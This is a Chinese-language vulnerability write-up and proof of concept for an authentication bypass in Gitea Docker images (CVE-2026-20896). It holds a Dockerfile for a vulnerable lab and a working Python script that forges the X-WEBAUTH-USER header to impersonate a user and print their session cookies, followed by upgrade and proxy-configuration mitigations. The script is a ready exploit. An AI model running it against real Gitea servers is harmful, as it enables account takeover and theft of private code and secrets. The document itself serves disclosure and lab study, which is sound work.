利用 Gitea 上 CVE-2026-20896 身份认证绕过漏洞的说明与 PoC。能够窃取 Gitea 实例中有效用户的会话令牌。
Gitea 是一个轻量级的开源 Git 托管平台,允许组织和个人开发者管理源代码仓库、跟踪问题、审查更改以及协作开展软件项目。它提供与 GitHub 和 GitLab 等平台类似的功能,但被设计为自托管、高效且易于维护,使其适合希望对自己的代码和开发基础设施拥有更大控制权的组织。
CVE-2026-20896 是官方 Gitea Docker 镜像中的一个严重身份验证绕过漏洞,CVSS 评分为 9.8(严重)。该漏洞影响 1.26.2 及更早版本的 Gitea Docker 镜像。根本原因在于一个不安全的默认配置:
REVERSE_PROXY_TRUSTED_PROXIES = *,这导致 Gitea 信任来自任何 IP 地址的反向代理身份验证头。当启用反向代理身份验证时,未认证的远程攻击者可以借此提供一个伪造的X-WEBAUTH-USER头,让 Gitea 将攻击者视为指定用户。尤其是,冒充管理员可能导致获得完全的管理员访问权限,而无需密码或有效的身份验证令牌。
潜在影响十分严重,因为对 Gitea 的管理员访问权限可能暴露私有源代码仓库、凭据和 CI/CD 机密,并允许修改仓库、SSH 密钥、Webhook 及其他安全敏感设置。该漏洞与使用受影响的 Docker 镜像并配合反向代理身份验证的部署场景尤为相关;它并不单纯是 Gitea 常规密码身份验证机制的缺陷。Gitea 在 1.26.3 版本中修复了该问题,管理员应升级到当前已修补的版本,并检查其反向代理信任配置,而不是依赖不安全的通配符设置。有报告显示,已出现针对暴露在外的 Gitea 实例的利用尝试,因此及时修复尤为重要。
我们将使用易受攻击版本的 Gitea 运行一个 Docker 容器,本例使用 1.26.2 版本,并采用以下 Dockerfile:
FROM gitea/gitea:1.26.2
# Reverse-proxy authentication must be enabled to reproduce the vulnerable
# authentication flow described by CVE-2026-20896.
ENV GITEA__database__DB_TYPE=sqlite3 \
GITEA__database__PATH=/data/gitea/gitea.db \
GITEA__security__INSTALL_LOCK=true \
GITEA__service__ENABLE_REVERSE_PROXY_AUTHENTICATION=true
RUN <<'EOF'
cat > /usr/local/bin/lab-entrypoint <<'SCRIPT'
#!/bin/sh
set -eu
CONFIG=/data/gitea/conf/app.ini
URL=http://127.0.0.1:3000
ADMIN_PASSWORD='Password123$!'
# Start Gitea using the original image entrypoint.
/usr/bin/entrypoint "$@" &
pid=$!
trap 'kill -TERM "$pid" 2>/dev/null || true' TERM INT
# Wait until Gitea is ready before creating the lab account.
until curl -fsS "$URL/api/healthz" >/dev/null 2>&1; do
sleep 1
done
# Create a local administrator account for vulnerability verification.
su-exec git gitea admin user create \
--config "$CONFIG" \
--username jbkira \
--password "$ADMIN_PASSWORD" \
--email [email protected] \
--admin \
--must-change-password=false \
>/dev/null
wait "$pid"
SCRIPT
chmod +x /usr/local/bin/lab-entrypoint
EOF
ENTRYPOINT ["/usr/local/bin/lab-entrypoint"]
然后使用以下命令构建 Docker 容器:
docker build -t gitea-cve-2026-20896-lab .
最后,使用以下命令部署 Docker 容器:
docker run -d --name gitea-cve-2026-20896 -p 3000:3000 gitea-cve-2026-20896-lab
如果我们知道 Gitea 实例上任意用户的用户名,就可以利用
X-WEBAUTH-USER: username头冒充该用户。在本实验中,我们创建了一个名为 jbkira 的用户,因此我们将使用代理捕获对 Gitea 主页的未认证访问,例如我会使用 BurpSuite,然后添加该请求头:

如果我们转发带有
X-WEBAUTH-USER头的请求,当我们在浏览器中再次访问 Gitea 页面时,会看到我们现在已作为 jbkira 用户登录。但这种方式并不总是有效,因此我编写了一个 PoC 脚本来执行该攻击并窃取目标用户的会话 Cookie,你可以将其复制并粘贴到浏览器中,从而获得对目标用户的访问权限。
自动化 PoC,使用 Python 编写,利用身份验证绕过漏洞并窃取目标用户的会话 Cookie:
import requests
import argparse
# Color codes for terminal output
GREEN = "\033[92m"
RED = "\033[91m"
YELLOW = "\033[93m"
ORANGE = "\033[33m"
BLUE = "\033[94m"
RESET = "\033[0m"
def attack(url, target_user):
METHOD = "GET"
HEADERS = {
"User-Agent": "Mozilla/5.0",
"X-WEBAUTH-USER": f"{target_user}",
}
resp = requests.request(method=METHOD,url=url,headers=HEADERS,verify=False)
print(f"[+] Status code: {resp.status_code}\n")
# Cookies that the server has set (via Set-Cookie)
if resp.cookies:
print(f"{GREEN}[+] Cookies retrieved for user {target_user}:{RESET}")
for cookie in resp.cookies:
print(f" {cookie.name} = {cookie.value}")
else:
print(f"{RED}[-] The server has not returned any cookies.{RESET}")
def argparse_setup():
parser = argparse.ArgumentParser(description="Exploit for Gitea Authentication Bypass (CVE-2026-20896) created by JBKira")
parser.add_argument("-u", "--url", help="Target URL (e.g., http://targetIP:3000/)", required=True)
parser.add_argument("-t", "--target-user", help="Target user for authentication bypass", required=True)
return parser.parse_args()
def banner():
print(f"{YELLOW}")
print(r"""
███ █ █ █████ ███ ███ ███ ███ ███ ███ ███ ███ ███
█ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █
█ █ █ ████ ████ █ █ █ █ ████ ████ █ █ █ ███ ████ ████
█ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █
███ █ █████ █████ ███ █████ ███ █████ ███ ███ ███ ███
""")
print(f"CVE-2026-20896 Exploit for Gitea Authentication Bypass created by JBKira{RESET}")
print(f"{ORANGE}github.com/judgedbykira{RESET} | {BLUE}linkedin.com/in/yeray-medina{RESET}")
print(f"Only use this in real penetration tests or lab environments. Unauthorized use is illegal.\n")
def main():
banner()
args = argparse_setup()
attack(args.url, args.target_user)
if __name__ == "__main__":
main()
用法示例:
┌──(kali㉿jbkira)-[~/Desktop/PoCs/gitea-CVE-2026-20896]
└─$ python3 poc.py -u http://localhost:3000 -t jbkira
███ █ █ █████ ███ ███ ███ ███ ███ ███ ███ ███ ███
█ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █
█ █ █ ████ ████ █ █ █ █ ████ ████ █ █ █ ███ ████ ████
█ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █
███ █ █████ █████ ███ █████ ███ █████ ███ ███ ███ ███
CVE-2026-20896 Exploit for Gitea Authentication Bypass created by JBKira
github.com/judgedbykira | linkedin.com/in/yeray-medina
Only use this in real penetration tests or lab environments. Unauthorized use is illegal.
[+] Status code: 200
[+] Cookies retrieved for user jbkira:
i_like_gitea = e12680e9c4e6e894
lang = en-US
针对 CVE-2026-20896 的主要缓解措施是将 Gitea 从 1.26.2 或更早版本升级到 1.26.3 或更高版本,因为 1.26.3 包含此漏洞的安全修复。如果无法立即升级,管理员应显式配置
REVERSE_PROXY_TRUSTED_PROXIES,使其仅包含合法认证反向代理的 IP 地址或子网,而不是*,并确保不受信任的客户端无法直接访问 Gitea 的 HTTP 端口。当ENABLE_REVERSE_PROXY_AUTHENTICATION=true时这一点尤为重要,因为该漏洞允许不受信任的来源注入X-WEBAUTH-USER并冒充现有用户。
感谢 Ali Mustafa(@rz1027)发现并披露此漏洞。